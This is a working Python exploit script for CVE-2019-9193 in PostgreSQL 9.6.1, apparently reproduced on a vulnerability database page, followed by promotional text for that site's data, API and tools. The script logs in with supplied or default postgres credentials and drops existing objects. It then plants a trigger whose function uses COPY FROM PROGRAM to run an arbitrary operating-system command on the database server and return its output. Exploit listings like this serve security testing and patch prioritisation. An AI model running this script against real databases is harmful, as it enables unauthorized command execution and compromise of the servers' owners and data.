# Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 2023-02-01
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon
# Github: https://github.com/paulotrindadec/CVE-2019-9193
# Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu
# Tested on: Red Hat Enterprise Linux Server 7.9
# CVE: CVE-2019–9193
#!/usr/bin/python3
import sys
import psycopg2
import argparse
def parseArgs():
parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution')
parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')
parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')
parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]')
parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]')
parser.add_argument('-c', '--command', nargs='?', help='System command to run')
args = parser.parse_args()
return args
def main():
try:
# Variables
RHOST = args.ip
RPORT = args.port
USER = args.user
PASS = args.password
print(f"\r\n[+] Connect to PostgreSQL - {RHOST}")
con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS)
if (args.command):
exploit(con)
else:
print ("[!] Add argument -c [COMMAND] to execute system commands")
except psycopg2.OperationalError as e:
print("Error")
print ("\r\n[-] Failed to connect with PostgreSQL")
exit()
def exploit(con):
cur = con.cursor()
CMD = args.command
try:
print('[*] Running\n')
cur.execute("DROP TABLE IF EXISTS triggeroffsec;")
cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;")
cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;")
cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;")
cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);")
cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd()
RETURNS TRIGGER
LANGUAGE plpgsql
AS $BODY$
BEGIN
COPY triggeroffsec (cmdout) FROM PROGRAM %s;
RETURN NULL;
END;
$BODY$;
""",[CMD,]
)
cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);")
cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd
AFTER INSERT
ON triggeroffsecsource
FOR EACH STATEMENT
EXECUTE PROCEDURE triggeroffsecexeccmd();
""")
cur.execute("INSERT INTO triggeroffsecsource VALUES (2);")
cur.execute("TABLE triggeroffsec;")
con.commit()
returncmd = cur.fetchall()
for result in returncmd:
print(result)
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if con is not None:
con.close()
#print("Closed connection")
if __name__ == "__main__":
args = parseArgs()
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation